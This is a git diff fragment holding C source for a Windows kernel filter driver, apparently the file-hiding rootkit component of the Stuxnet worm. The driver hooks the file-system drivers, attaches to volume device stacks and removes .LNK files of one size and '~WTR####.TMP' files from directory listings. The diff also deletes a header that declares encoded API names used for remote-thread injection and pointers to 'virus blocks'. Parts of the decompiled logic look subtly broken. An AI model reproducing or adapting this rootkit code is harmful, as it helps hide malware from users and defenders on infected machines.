DeviceObject,PIRP Irp); +VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp); +NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp); +NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context); +BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice); +VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp); +VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp); +NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context); +VOID FreeMdl(PIRP Irp,PMDL* Context); +ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack); +ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext); +NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context); +ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength); +ULONG FileCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength); +ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size); +ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart); + + +//Functions: +//---------- + +VOID CallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + + Irp->CurrentLocation++; + Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24); + IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp); +}; + + +VOID IRPDispatchRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + return CallDriver(DeviceObject,Irp); + +} + + +VOID SetZero(PDEVICE_EXTENSION DeviceExtention,ULONG Value){ + DeviceExtention->AttachedDevice=(PDEVICE_OBJECT)0; + DeviceExtention->RealDevice=(PDEVICE_OBJECT)0; + DeviceExtention->RealDevice=(PDEVICE_OBJECT)Value; +}; + + +/**------------------------------------------------------------------- + + Driver Entry + +----------------------------------------------------------------------**/ + + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath ) +{ + int i; + NTSTATUS status; + DriverObject=pDriverObject; + status=IoCreateDevice(DriverObject, sizeof(_DEVICE_EXTENSION),0,FILE_DEVICE_DISK_FILE_SYSTEM,0x100,0,&DeviceObject); + if (status!=STATUS_SUCCESS){ + IoDeleteDevice(DeviceObject); + return 0; + } + SetZero(DeviceObject->DeviceExtension,0); + for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ ) + { + DriverObject->MajorFunction[i] = IRPDispatchRoutine; + } + DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = OnFileSystemControl; + DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = OnDirectoryControl; + SetFastIoDispatch(); + HookingFileSystems(); + status = IoRegisterFsRegistrationChange( DriverObject, (PDRIVER_FS_NOTIFICATION)DriverNotificationRoutine); + if (status!=STATUS_SUCCESS){ + IoDeleteDevice(DeviceObject); + DriverObject->FastIoDispatch = 0; + return status; //Error + } + return STATUS_SUCCESS; +}; + +/**------------------------------------------------------------------- + + Hooking File Systems + +----------------------------------------------------------------------**/ + +NTSTATUS HookingFileSystems() +{ + UNICODE_STRING SystemRoutineName; + int i; + ULONG (*FunctionAddress)(); + RtlInitUnicodeString(&SystemRoutineName,aObreferenceobjectbyname); + FunctionAddress = MmGetSystemRoutineAddress(&SystemRoutineName); + if (FunctionAddress == 0)return 0; + for (i = 0; i < 3;i++){ + HookOne(FunctionAddress,FileSystemsArray[i]); + }; + return STATUS_SUCCESS; +} + +VOID HookOne(FUNC,PCWSTR FileSystem) +{ + UNICODE_STRING DestinationString; + NTSTATUS Status; + PDEVICE_OBJECT AttachObject; + Status = STATUS_SUCCESS; + RtlInitUnicodeString(&DestinationString,FileSystem); + Status = (*ObReferenceObjectByNameFunc)(&DestinationString,0x40,0,0,*IoDriverObjectType,0,0,(PVOID)&FileSystem); + if (Status!=STATUS_SUCCESS){ + return; + }; + AttachObject=0; + AttachObject =((ReferencedObject*)FileSystem)->DeviceObject; + while (AttachObject != 0) + { + DriverNotificationRoutine(AttachObject,1); + AttachObject = (PDEVICE_OBJECT)*((int*)((ULONG)AttachObject + (ULONG)0x0C)); //Next Element + }; + ObDereferenceObject(((ReferencedObject*)FileSystem)); +}; +/**------------------------------------------------------------------- + + Driver Notification Routine + +----------------------------------------------------------------------**/ +#define COMMAND_ATTACH 1 +#define COMMAND_DETACH 0 +VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command) +{ + PDEVICE_OBJECT AttachedDevice; + + if (command == COMMAND_ATTACH){ + AttachDevice(TargetDevice); + }else{ + AttachedDevice=TargetDevice->AttachedDevice; + while(AttachedDevice !=0){ + if (IsMyDevice(AttachedDevice) == TRUE){ + IoDetachDevice(TargetDevice); + IoDeleteDevice(AttachedDevice); + break; + }; + TargetDevice=AttachedDevice; //The parent Device (to detach) + AttachedDevice=TargetDevice->AttachedDevice; //Get The Next Attached Device + }; + + }; +}; +/**------------------------------------------------------------------- + + Attaching Device + +----------------------------------------------------------------------**/ +VOID AttachDevice(PDEVICE_OBJECT TargetDevice) +{ + + PDEVICE_OBJECT SourceDevice; + if (TargetDevice->DeviceType == FILE_DEVICE_DISK_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_CD_ROM_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_NETWORK_FILE_SYSTEM) + { + if (IsAllreadyAttached(TargetDevice) == TRUE) return; + if (CreateDevice(TargetDevice,&SourceDevice) != STATUS_SUCCESS)return; + SettingFlags(SourceDevice,TargetDevice); + SetZero(SourceDevice->DeviceExtension,0); + if (AttachToStack(SourceDevice,TargetDevice,SourceDevice->DeviceExtension)!= TRUE){ + IoDeleteDevice(SourceDevice); + return; + }; + }; +}; +BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice) +{ + PDEVICE_OBJECT AttachedDevice; + if(TargetDevice != 0){ + AttachedDevice=TargetDevice->AttachedDevice; + while(AttachedDevice !=0){ + if (AttachedDevice->DriverObject == DriverObject && AttachedDevice->DeviceExtension !=0){ + return TRUE; //Allready Attached + }; + AttachedDevice=AttachedDevice->AttachedDevice; //Get The Next Attached Device + }; + + } + return FALSE; +} + +NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice) +{ + return IoCreateDevice(DriverObject,sizeof(_DEVICE_EXTENSION),0,TargetDevice->DeviceType,0,0,SourceDevice); + +} + +BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice) +{ + if (TargetDevice != 0 && TargetDevice->DriverObject == DriverObject){ + return TRUE; //Allready Attached + }; + return FALSE; +}; + +VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice) +{ + DeviceObject->Flags |= (TargetDevice->Flags & (0x40000 | 0x10 | DO_BUFFERED_IO)); + DeviceObject->Characteristics |= (TargetDevice->Characteristics & FILE_DEVICE_SECURE_OPEN); +}; + +BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension) +{ + DeviceExtension->AttachedDevice = TargetDevice; + if (IoAttachDeviceToDeviceStack(SourceDevice,TargetDevice) == STATUS_SUCCESS){ + return TRUE; + }; + return FALSE; +} + +/**------------------------------------------------------------------- + + File System Control + +----------------------------------------------------------------------**/ + +VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_MOUNT_VOLUME){ + SetCompletionFileControl(DeviceObject,Irp); + }else{ + return CallDriver(DeviceObject,Irp); + } +}; + +VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp) +{ + PDEVICE_OBJECT DeviceObject = 0; + if (CreateDevice(TargetDevice,&DeviceObject) != STATUS_SUCCESS){ + Irp->IoStatus.Information=0; + Irp->IoStatus.Status=STATUS_SUCCESS; + IoCompleteRequest(Irp,0); + return; + }; + SetZero(DeviceObject->DeviceExtension,Irp->Tail.Overlay.CurrentStackLocation->Parameters.MountVolume.Vpb->RealDevice); + if (SetFSCompletionRoutine(DeviceObject,Irp) == 0){ + Irp->CurrentLocation++; + Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24); + }; + return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp); +}; + + +NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + int i; + ULONG* CurrentStack; + ULONG* PrevStack; + PIO_STACK_LOCATION PrevIrpStack; + PDEVICE_OBJECT* Buff=ExAllocatePool(0,4); + if (Buff==0){ + return 0; + }; + *Buff = DeviceObject; + CurrentStack = Irp->Tail.Overlay.CurrentStackLocation; + PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION)); + + for (i = 0;i<8;i++){ + PrevStack[i]=CurrentStack[i]; + }; + PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION)); + PrevIrpStack->Control=0; + PrevIrpStack->Context = Buff; + PrevIrpStack->CompletionRoutine = FileControlCompletionRoutine; + PrevIrpStack->Control=0xE0; + return 1; +}; + + +NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context) +{ + PDEVICE_OBJECT TargetDevice; + TargetDevice = ((PDEVICE_EXTENSION)((*Context)->DeviceExtension))->RealDevice->Vpb->DeviceObject; + if (Irp->IoStatus.Status != STATUS_SUCCESS) + { + IoDeleteDevice(DeviceObject); + ExFreePoolWithTag(Context,0); + } + if (IsAllreadyAttached(TargetDevice) == TRUE){ + IoDeleteDevice(DeviceObject); + ExFreePoolWithTag(Context,0); + return STATUS_SUCCESS; + }; + if (AttachDelayThread(*Context,TargetDevice) != TRUE){ + IoDeleteDevice(DeviceObject); + }; + ExFreePoolWithTag(Context,0); + return STATUS_SUCCESS; +}; + +BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice) +{ + LARGE_INTEGER Interval; + int i; + SettingFlags(DeviceObject,TargetDevice); + for ( i = 0;i<8 ;i++){ + if (AttachToStack(DeviceObject,TargetDevice,DeviceObject->DeviceExtension)== TRUE){ + return TRUE; + }; + *((ULONG*)((ULONG)&Interval+(ULONG)4)) = -1; + *((ULONG*)&Interval) = -5000000; + KeDelayExecutionThread(0,FALSE,&Interval); + }; + return FALSE; +}; +/**------------------------------------------------------------------- + + Directory Control + +----------------------------------------------------------------------**/ + +VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_QUERY_DIRECTORY){ + SetCompletionDirControl(DeviceObject,Irp); + }else{ + return CallDriver(DeviceObject,Irp); + } +}; + +VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + PUNICODE_STRING Filename; + PIO_STACK_LOCATION CurrentStack; + PIO_STACK_LOCATION PrevStack; + PIO_STACK_LOCATION PrevIrpStack; + int i; + CurrentStack = Irp->Tail.Overlay.CurrentStackLocation; + if (!(CurrentStack->FileObject->Flags & 0x400000) && CurrentStack->FileObject != 0){ + Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileName = 0; //Clear Filename + if (CurrentStack->FileObject != 0)CurrentStack->FileObject->Flags &= 0x400000; + CallDriver(DeviceObject,Irp); + } + Filename = CurrentStack->Parameters.QueryDirectory.FileName; + if (Filename != 0 && Filename->Length == 0x4C /*The Size of BannedDirectory*/ ){ + for (i =0;i< 19; i++) + { + if ((ULONG)BannedDirecoty[i] == (ULONG)Filename->Buffer[i]){ + goto Error; + }; + }; + goto Inject; +Error: + + CurrentStack->Parameters.QueryDirectory.FileName = 0; //Clear Filename + if (Irp->Tail.Overlay.CurrentStackLocation->FileObject != 0)Irp->Tail.Overlay.CurrentStackLocation->FileObject->Flags &= 0x400000; + CallDriver(DeviceObject,Irp); + return; + }; + +Inject: + + CurrentStack->Control=1; + PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION)); + + for (i = 0;i<8;i++){ + PrevStack[i]=CurrentStack[i]; + }; + PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION)); + PrevIrpStack->Control = 0; + PrevIrpStack->Context = 0; + PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine; + PrevIrpStack->Control=0xE0; + return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp); +}; + + +NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context) +{ + ULONG EndOfFile; + ULONG FilenameOffset; + ULONG LclContext; + ULONG FilenameLength; + PVOID mmFiles; + LclContext = (ULONG)Context; + if (Irp->IoStatus.Status != STATUS_SUCCESS){ + FreeMdl(Irp,LclContext); + return 0; + }; + if (GetOffsets(Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileInformationClass, \ + &EndOfFile,&FilenameOffset,&FilenameLength) == 0){ + FreeMdl(Irp,LclContext); + return 0; + }; + if (Irp->MdlAddress != 0){ + if (Irp->MdlAddress->MdlFlags == 5){ + //maps the physical pages that are described by The MDL to a virtual address + mmFiles=MmMapLockedPagesSpecifyCache(Irp->MdlAddress,0,MmCached,0,0,0x10); + if (mmFiles == 0){ + FreeMdl(Irp,LclContext); + return 0; + }; + }else if (Irp->MdlAddress->MappedSystemVa == 0){ + FreeMdl(Irp,LclContext); + return 0; + }; + }else{ + mmFiles=Irp->UserBuffer; + }; + if (FileCheck(mmFiles,Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.Length, \ + EndOfFile,FilenameOffset,FilenameLength) != 0){ + Irp->IoStatus.Status = STATUS_SUCCESS; + FreeMdl(Irp,Context); + return 0; + }; + if (Irp->MdlAddress == 0){ + LclContext = ExAllocatePool(0,4); + if (LclContext == 0 || AllocateMdl(LclContext,Irp,Irp->Tail.Overlay.CurrentStackLocation) == 0){ + FreeMdl(Irp,LclContext); + Irp->IoStatus.Status=0x0C000009A; + return 0; + }; + }; + Irp->IoStatus.Status = CreateWorkRoutine(DeviceObject,Irp->Tail.Overlay.CurrentStackLocation,Irp,LclContext); + return; +}; + +VOID FreeMdl(PIRP Irp,PMDL* Context) +{ + if (Irp->MdlAddress == *Context){ + Irp->MdlAddress=0; + MmUnlockPages((PMDL)*Context); + IoFreeMdl(*Context); + }; + ExFreePoolWithTag(*Context,0); + +}; + +ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack) +{ + PMDL pMdl; + pMdl = IoAllocateMdl(Irp->UserBuffer,CurrentStack->Parameters.QueryDirectory.Length,0,0,Irp); + if (pMdl ==0){ + return 0; + }; + MmProbeAndLockPages(pMdl,0,IoModifyAccess); + Irp->MdlAddress = pMdl; + *LclContext = pMdl; + return 1; +}; + +ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext) +{ + PLARGE_INTEGER pPool; + PIO_STACK_LOCATION PrevIrpStack; + int i; + pPool = ExAllocatePool(0,8); + if (pPool == 0){ + return 0xC000009A; + }; + pPool->u.LowPart = IoAllocateWorkItem(DeviceObject); + if (pPool->u.LowPart == 0){ + return 0xC000009A; + }; + pPool->u.HighPart=Irp; + CurrentStack->Flags &= 0xFE; + CurrentStack->Parameters.QueryDirectory.FileIndex =0; + Irp->Tail.Overlay.CurrentStackLocation->Control |= 1; + PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION)); + for (i = 0;i<8;i++){ + PrevIrpStack[i]=CurrentStack[i]; + }; + PrevIrpStack->Control=0; + PrevIrpStack->Context = LclContext; + PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine; + PrevIrpStack->Control=0xE0; + IoQueueWorkItem(pPool->u.LowPart,WorkerRoutine,1,pPool); + return 0xC0000016; +}; + +NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context) +{ + IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Context->u.HighPart); + IoFreeWorkItem(Context->u.LowPart); + ExFreePoolWithTag(Context,0); + return STATUS_SUCCESS; +}; + +/**------------------------------------------------------------------- + + File Checking + +----------------------------------------------------------------------**/ + +ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength) +{ + switch (FileInformationClass) { + case FileBothDirectoryInformation : + *EndOfFile = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, EndOfFile); + *FilenameOffset = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileName); + case FileDirectoryInformation: + *EndOfFile = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, EndOfFile); + *FilenameOffset = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, FileName); + case FileFullDirectoryInformation: + *EndOfFile = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , EndOfFile); + *FilenameOffset = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , FileName); + case FileIdBothDirectoryInformation: + *EndOfFile = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, EndOfFile); + *FilenameOffset = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, FileName); + case FileIdFullDirectoryInformation: + *EndOfFile = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, EndOfFile); + *FilenameOffset = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, FileName); + case FileNamesInformation: + *EndOfFile = -1; + *FilenameOffset = FIELD_OFFSET( FILE_NAMES_INFORMATION, FileName); + *FilenameLength = FIELD_OFFSET(FILE_NAMES_INFORMATION, FileNameLength); + return 1; + default: + return 0; + }; + *FilenameLength = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileNameLength); + return 1; +}; + +ULONG FileCheck (ULONG* UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength) +{ + LARGE_INTEGER FileSize; + ULONG EntryPtr; + ULONG PrevOffset; + PCWSTR Filename; + ULONG Length; + + EntryPtr = 0; + PrevOffset = NextEntryOffset; + (ULONG)UserBuffer &= 0xFFFFFF00; + if (NextEntryOffset == 0){ + return 1; + }; + do{ + NextEntryOffset = *UserBuffer; + if (EndOfFile == -1){ //FileNamesInformation + FileSize.u.LowPart=0; + FileSize.u.HighPart=0; + }; + FileSize.u.LowPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile)); + FileSize.u.HighPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile + 4)); + Length = *((ULONG*)((ULONG)UserBuffer + FilenameLength)); + Filename = (PCWSTR)((ULONG)UserBuffer + FilenameOffset); + if (Length & 1){ //mean couldn't be divided by 2 (That's will be strange because it's a unicode string (Wide char)) + EntryPtr = UserBuffer; + UserBuffer+=NextEntryOffset; + (ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1 + PrevOffset -= NextEntryOffset; + continue; + }; + Length -= FilenameOffset; //I don't know why + Length /= 2; //number of characters + if ((((FileSize.u.HighPart != -1) && (FileSize.u.LowPart != -1)) || (FileSize.u.HighPart == 0 && FileSize.u.LowPart == 4171)) && (Length > 4)){ + if (StrCheck(L".LNK",&Filename[Length -4],4) != 0){ + memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset); + PrevOffset -= NextEntryOffset; + continue; + }; + }; + if (TMPCheck(Filename,Length,FileSize.u.LowPart,FileSize.u.HighPart) ==0){ + EntryPtr = UserBuffer; + UserBuffer+=NextEntryOffset; + (ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1 + }else{ + if (NextEntryOffset != 0){ + memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset); + }else{ + if (EntryPtr !=0)EntryPtr = 0; + break; + }; + }; + PrevOffset -= NextEntryOffset; + }while ( PrevOffset != 0); + return ((ULONG)UserBuffer & 1); // cmp byte ptr [ebp+UserBuffer+3], 0 / setnz al +}; + +ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size) +{ + WCHAR chr; + if (TargetString[0] == 0) return 1; + do{ + if (Size == 0)return 0; + chr = toupper(SourceString[0]); + if (chr != toupper(TargetString[0]))return 0; + (ULONG)SourceString += 2; + (ULONG)TargetString += 2; + Size--; + }while(TargetString[0] !=0); + return 1; +}; + +ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart) +{ + int i; + WCHAR chr; + int Mod = 0; + if (!(LowPart == -1 && HighPart == -1) && (HighPart == 0 || LowPart < 4096 || LowPart > 8388608)) return 0; + if (Length !=12)return 0; + if (StrCheck(L".TMP",&Filename[Length -4],4) == 0)return 0; + if (StrCheck(L"~WTR",Filename,4) == 0)return 0; + for (i = 4;i < 8; i++){ + chr = Filename[i]; + if (chr<'0' || chr >'9')return 0; + Mod =(chr - 0x30 + Mod) % 10; + }; + if (Mod == 0)return 1; + return 0; +}; diff --git a/data.h b/data.h deleted file mode 100644 index 2e1cf99..0000000 --- a/data.h +++ /dev/null @@ -1,60 +0,0 @@ -/****************************************************************************************** - Copyright 2012-2013 Christian Roggia - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. -******************************************************************************************/ - -#ifndef __DATA_H__ -#define __DATA_H__ - -#include "define.h" - -#pragma pack(push) -#pragma pack(4) - -const WCHAR ENCODED_KERNEL32_DLL_ASLR__08x[23]; - -const char ENCODED_lstrcmpiW[20]; -const char ENCODED_VirtualQuery[26]; -const char ENCODED_VirtualProtect[30]; -const char ENCODED_GetProcAddress[30]; -const char ENCODED_MapViewOfFile[28]; -const char ENCODED_UnmapViewOfFile[32]; -const char ENCODED_FlushInstructionCache[44]; -const char ENCODED_LoadLibraryW[26]; -const char ENCODED_FreeLibrary[24]; -const char ENCODED_ZwCreateSection[32]; -const char ENCODED_ZwMapViewOfSection[38]; -const char ENCODED_CreateThread[26]; -const char ENCODED_WaitForSingleObject[40]; -const char ENCODED_GetExitCodeThread[36]; -const char ENCODED_ZwClose[16]; -const char ENCODED_CreateRemoteThread[38]; -const char ENCODED_NtCreateThreadEx[34]; - -const WCHAR ENCODED_KERNEL32_DLL[13]; -const WCHAR ENCODED_NTDLL_DLL[10]; - -#pragma pack(pop) - -//const char szEncryptedSectionMark[5]; - -static BOOL bSetup; - -static PVOID s_ASMCodeBlocksPTR; -static PVOID s_virusBlocksPTR; -static PVOID s_codeBlockPTR; - -static HINSTANCE hINSTANCE; - -#endif \ No newline at end of file